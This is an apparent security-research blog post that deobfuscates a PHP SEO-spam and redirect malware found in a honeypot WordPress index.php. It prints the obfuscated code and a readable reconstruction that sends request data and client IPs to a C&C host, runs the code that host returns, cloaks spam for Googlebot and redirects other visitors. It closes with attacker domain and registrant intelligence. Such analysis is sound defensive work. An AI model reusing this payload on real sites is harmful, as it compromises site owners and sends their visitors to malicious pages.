Navigating 81 Layers of Encoding to Reveal the C&C

This past week we have been sharing a series of articles that highlight steps a hacker has taken to commandeer one of our honeypot domains. We have shared steps taken to take control, the payloads deployed, and the configurations leveraged to take control of the sites SEO.

As interesting as all that has been, today we want to spend some time diving deeper into the malware tailored to help with the last post - Hijacking SERPs. In that specific attack, it was payload found in the index.php file that helped us really understand how the SERP hijacking worked. This article will shine a light into how we look at the world, and share the goodies we found at the end of the rainbow.

Here is what we were working with:

NOC - Hack SEO Spam Payload Found in Index File



**Updated: 2022-08-24: Include a more direct list of all articles related to this research:

  1. Part 1: How WordPress Gets Hacked in 2022 - Initial Reconnaissance
  2. Part 2: What Hackers Do with WordPress in 2022 - Post Hack Analysis
  3. Part 3: Analyzing 17,000 Spam Links on a Hacked WordPress Site
  4. Part 4: Hijacking a Websites SERP Results with SEO SPAM
  5. Part 5: Navigating 81 Layers of Encoding to Reveal the C&C

81 Layers of Obfuscation - My Goodness

This piece of malware was integral to their SERP hijacking attack. It was the brains of the operation. It would tell which request would get teh SEO Spa, and which would be get malware. But how? Let's dive in.

The code starts by creating a variable '$fdguvldfj' and assigning a random stream of characters:

$fdguvldfj='.t=)*+iavyd&;?nq:rlz|[wfe\"(j/ous cg^bhxp-$_k<]#>mBUL0FDZ34S2WNICK6XAV5Y1EPHJTO8R7M9QG';

At least it seems random at first glance.

But in fact, it was creating multiple variables with random names ('$lcebqactn', '$nvvuufsqd', '$rppirnguc', etc) built from pieces from that first 'random' variable $fdguvldfj that was just assigned before.

This is what it was doing:



$lcebqactn=$fdguvldfj[34].$fdguvldfj[31].$fdguvldfj[17].$fdguvldfj[18].$fdguvldfj[43].$fdguvldfj[6].$fdguvldfj[14].$fdguvldfj[6].$fdguvldfj[1]; $nvvuufsqd=$fdguvldfj[34].$fdguvldfj[31].$fdguvldfj[17].$fdguvldfj[18].$fdguvldfj[43].$fdguvldfj[32].$fdguvldfj[24].$fdguvldfj[1].$fdguvldfj[30].$fdguvldfj[40].$fdguvldfj[1]; $rppirnguc=$fdguvldfj[34].$fdguvldfj[31].$fdguvldfj[17].$fdguvldfj[18].$fdguvldfj[43].$fdguvldfj[24].$fdguvldfj[39].$fdguvldfj[24].$fdguvldfj[34]; $fiqpmzbcd=$fdguvldfj[23].$fdguvldfj[31].$fdguvldfj[14].$fdguvldfj[34].$fdguvldfj[1].$fdguvldfj[6].$fdguvldfj[30].$fdguvldfj[14].$fdguvldfj[43].$fdguvldfj[24].$fdguvldfj[39].$fdguvldfj[6].$fdguvldfj[32].$fdguvldfj[1].$fdguvldfj[32]; $mmgnyeoit=$fdguvldfj[34].$fdguvldfj[31].$fdguvldfj[17].$fdguvldfj[18].$fdguvldfj[43].$fdguvldfj[34].$fdguvldfj[18].$fdguvldfj[30].$fdguvldfj[32].$fdguvldfj[24]; $vwfmprrqe=$fdguvldfj[10].$fdguvldfj[7].$fdguvldfj[1].$fdguvldfj[24].$fdguvldfj[41].$fdguvldfj[34].$fdguvldfj[24].$fdguvldfj[14].$fdguvldfj[1].$fdguvldfj[24].$fdguvldfj[17].$fdguvldfj[0].$fdguvldfj[34].$fdguvldfj[30].$fdguvldfj[49]; $hvdtcdmcb=$fdguvldfj[28].$fdguvldfj[24].$fdguvldfj[7].$fdguvldfj[14].$fdguvldfj[17].$fdguvldfj[30].$fdguvldfj[18]; $aajplftqv=$fdguvldfj[14].$fdguvldfj[7].$fdguvldfj[32].$fdguvldfj[31].$fdguvldfj[10].$fdguvldfj[6].$fdguvldfj[30].$fdguvldfj[7];

Clear as mud, right?

The easiest way to make sense of this is to print each variable, and we can do that using something as simple as echo:

echo "$lcebqactn\n";
echo "$nvvuufsqd\n";
echo "$rppirnguc\n";
echo "$fiqpmzbcd\n";
echo "$mmgnyeoit\n";
echo "$vwfmprrqe\n";
echo "$hvdtcdmcb\n";
echo "$aajplftqv\n";
echo "$crbxfqdut\n";
exit(0);


Ah! Look at that, here is what they were hiding:

curl_init
curl_setopt
curl_exec
function_exists
curl_close
date-center.com
jeanrol
nasudioa
http://www.
http://
count
http_build_query
stream_context_create
file_get_contents
SqUrl
requestArr
HTTP_X_FORWARDED_FOR
HTTP_CLIENT_IP
HTTP_X_FORWARDED
HTTP_X_CLUSTER_CLIENT_IP
HTTP_FORWARDED_FOR
HTTP_FORWARDED
REMOTE_ADDR
getenv
strcasecmp
unknown
MyCIp
com/eu/9467
.txt
api.php
product_info&products_id=
index&cPath=
Googlebot
Mediapartners-Google
Adsbot-Google
Google AdSense
<script>window.location = "
index.php?main_page=
";</script>
HTTP_REFERER
REQUEST_URI
strpos
strtolower
strstr
base64_decode
gzinflate
json_encode
HTTP_USER_AGENT
customer_ips
trim
delete-tag
delete-link
#<code>(.+)</code>#si
</code>
preg_match
#google#i
gethostbyaddr
set_time_limit
ini_set
display_errors
#^https?://www.[^/]+/$#i
#google\.(co\.uk|ie)#i
#[a-z]+-(\d+)-.+#i
#.+-(\d+)#i
_SERVER
_GET
rdviservice.com
/ebayuk220726-38/
Content-Type: application/x-www-form-urlencoded
header
content
timeout
method
http
POST
id
cat
zmvrqibpe
mpyytjbwq
cunnywbmb
qeynpfqgd


So if you're like us, now getting a bit excited.

In total it creates 81 random-looking variables and assigns them specific values to be used later in the code. Who does this? My goodness...

While annoying for us, it is a highly effective technique to help prevent creating patterns that can be used by security tools to detect the malware on disk (or in transfer). But now we have to put it all together.

Reverse Engineering the Malware Payload

Make note, we're not talking basic base65 encoding. After assigning the variables , the malware code really starts with the execution part. It is all hex+oct encoded:

${"\X47\114\117\102\101\X4C\X53"}["\X66\X62\X77\X65\X7A\X66\X65\X68\X74"](0);${"\X47\114\117\102\101\X4C\X53"}["\X6E\X79\X63\X63\X71\X73\X74\X68\X6F"](${"\X47\114\117\102\101\X4C\X53"}["\X6A\X6F\X78\X6A\X74\X76\X79\X75\X73"], 0);...

The process was so convoluted we had to build a few tools to help us break it down, but we made progress slowly and it started to get a big clearer:

${"GLOBALS"}["fbwezfeht"](0);
${"GLOBALS"}["nyccqstho"](${"GLOBALS"}["joxjtvyus"], 0);
${"_SERVER"};${"GLOBALS"}["rajdanouv"] = ${"GLOBALS"}["nispvlkox"]();


While helpful, it had a ways to go. It was still calling the random variables it created, so we needed to replace them to get the real functions being called.

${"GLOBALS"}["eblpxpako"]();function qeynpfqgd(){${"vycrenftw"} = array(${"GLOBALS"}["lcebqactn"],${"GLOBALS"}["nvvuufsqd"],${"GLOBALS"}["rppirnguc"]);${"jvryfblhu"} = true;..

Ok, this is better, not as clear as we'd like, but it's progress. So we replaced the random variable names for the real names to get and cleaned up the code to make it more readable:

<?php
$set_time_limit(0);
$ini_set($display_errors, 0);
${"_SERVER"};
$MyCIp = $zmvrqibpe();
$cunnywbmb();
function qeynpfqgd()
{
${"vycrenftw"} = array($curl_init,$curl_setopt,$curl_exec);
${"jvryfblhu"} = true;
..


NOC - SERP Hijacig - Malware Payload to C&C


Why hello there little friend.. now we can make sense of things.

First, it gets the Client IP address (MYCIP):



$MyCIp = $zmvrqibpe(); function zmvrqibpe() {
if ($getenv ( $HTTP_CLIENT_IP ) && $strcasecmp ( $getenv ( $HTTP_CLIENT_IP ), $unknown ))
${"vycrenftw"} = $getenv ( $HTTP_CLIENT_IP );
else if ($getenv ( $HTTP_X_FORWARDED_FOR ) && $strcasecmp ( $getenv ( $HTTP_X_FORWARDED_FOR ), $unknown ))
${"vycrenftw"} = $getenv ( $HTTP_X_FORWARDED_FOR );
else if ($getenv ( $REMOTE_ADDR ) && $strcasecmp ( $getenv ( $REMOTE_ADDR ), $unknown ))
${"vycrenftw"} = $getenv ( $REMOTE_ADDR );
else if (isset ( ${"GLOBALS"}[$_SERVER] [$REMOTE_ADDR] ) && ${"GLOBALS"}[$_SERVER] [$REMOTE_ADDR] && $strcasecmp ( ${"GLOBALS"}[$_SERVER] [$REMOTE_ADDR], $unknown ))
${"vycrenftw"} = ${"GLOBALS"}[$_SERVER] [$REMOTE_ADDR];
else ${"vycrenftw"} = '';
return ${"vycrenftw"};
}


This is used to look for the HTTP_X_FORWARDED_FOR variables, the HTTP_CLIENT_IP and if none are set, it just uses the default REMOTE_ADDR.

Next, it calls the function:



$cunnywbmb();


function cunnywbmb()
{
$requestArr = array();
$requestArr["delete-tag"] = $json_encode(${"GLOBALS"}[$_GET]);
$requestArr["delete-link"] = $json_encode(${"GLOBALS"}[$_SERVER]);
$SqUrl = "http://" . "rdviservice.com" . "/ebayuk220726-38/" . "api.php";
$requestArr["customer_ips"] = $MyCIp;
${"vycrenftw"} = $qeynpfqgd();
if($strstr(${"vycrenftw"}, "</code>"))
{
${"jvryfblhu"} = $illzmbxxh;
if($preg_match(${"jvryfblhu"},${"vycrenftw"},${"fpumqjlna"}))
{
${"ighdabdss"} = ${"fpumqjlna"}[1];
${"gwggnfoei"} = $base64_decode($gzinflate(${"ighdabdss"}));
if(${"gwggnfoei"})
{
echo ${"gwggnfoei"};
exit;
}
}
}
else
{
$mpyytjbwq();
}
}


NOC - SERP Hijacig - cunnywbmb Function


Do you see it?

This is used to create a url pointing to http://rdviservice[.]com/ebayuk220726-38/api.php. It also calls the function qeynpfqgd(), which tries to curl to this URL which returns a list of spam domains. The API is a bit unreliable and some times it returns errors like this one:



<b>Fatal error</b>: Call to undefined function gCss() in <b>/home/html/novexosoure[.]xyz/public_html/ebayuk220726-38/function.php</b> on line <b>2013</b><br />

This error is helpful in exposing their internal path structure (i.e., /home/html/novexosoure[.]xyz/public_html/ebayuk220726-38/).

If there is no <code></code> returned to be executed on the compromised server, it calls this function:

function mpyytjbwq()

This is where it decides what to do with the requests:

If the request comes with any of the following user agents: "Googlebot","Mediapartners-Googl","Adsbot-Google","Google AdSense"

And the remote IP matches one of Google's IPs, it considers the request as coming from Google. In these cases, it displays the spam "properly" to inundate the SERP of that domain.

If the request is not from Google and has a REFERER (redirected from somewhere else), it includes the javascript redirect:

echo "&lt;script>window.location = ". ${"gwggnfoei"} . "index.php?main_page=";
echo ${"vlkzmtmns"};
echo ${"vycrenftw"} . ";&lt;/script>";


This redirects the visitor to one of their ad/malware landing pages.

At the time of our research it was going to:



http://www.jeanrol[.]com/eu/9467.txt -> https://www.ndanialco[.]com/ http://www.nasudioa[.]com/eu/9467.txt

We assume those are randomly created and not always the same.

And that is how it works.

**Updated: 2022-08-25***

Denis, with UnmaskParasites, did a bit more digging and was able to enumerate 170 different shop domains via this redirect. (see complete list).

Gathering Intelligence on the C&C

Because of the nature of the web, it's not always easy to ascertain who the bad actors are. This instance is no different, but there are small bits of information that come to light that can be extremely helpful to shutting them down.

For example, by looking at the key domains from the analysis above this is what we find:



Domain Hosted IP Registrar Creation Date
rdviservice[.]com Linode 198.58.127.251 netim.com 2021-04-08T00:00:00Z
jeanrol[.]com Linode 96.126.125.20 netim.com 2021-03-20T00:00:00Z
ndanialco[.]com CloudFlare N/A namesilo.com 2022-04-27T07:00:00Z
novexosoure[.]xyz Linode 198.58.127.251 publicdomainregistry.com 2018-10-26T03:29:11Z
psotudev[.]com Linode 96.126.125.20 namesilo.com 2020-12-27T07:00:00Z
transferdm[.]xyz Linode 96.126.125.20 namesilo.com 2017-12-01T09:57:28Z


You will notice that we were able to find other domains associated with the hosts via different tools. They only had CloudFlare on one domain, and via the other domains that didn't have a reverse proxy we were able to ascertain to the HOST IP and from there we could find other associated domains on those servers.

From this we can start to get a much better picture of how this operation works. Almost all the domains are hosted on Linode, and we have no doubt the one on CloudFlare is also on Linode. Most of the domains are greeted with the same log in page:

NOC - SERP Hijacig - cunnywbmb Function


It also seems almost all the domains were created with fake user information (which calls into question the entire registrar verification process). Example:

Registrant transferdm[.]xyz psotudev[.]com novexosource[.]xyz ndanalco[.]com
Name Maryann Stone Angela Walker Mark Baker Kayla Lawson
Street 1567 Park Avenue 1922 Lighthouse Drive 2363 Doe Meadow Drive 3294 Havanna Street
City Sacramento Branson Hagerstown Winston Salem
State California Missouri Maryland North Carolina
Email xttsy844703@163.com akikobatistajayden15321@ iravolkopyalova@ phenomenon29923333@


The best we can do with this information is submit it the Registrar and Host and let them do their magic to disable the domain and server for breach of ToS. In the process making the web just that much safer and hopefully shutting down a spam network.



Posted in   security-research   wordpress-security     by Tony Perez (@perezbox)

Improve Your Websites Speed and Security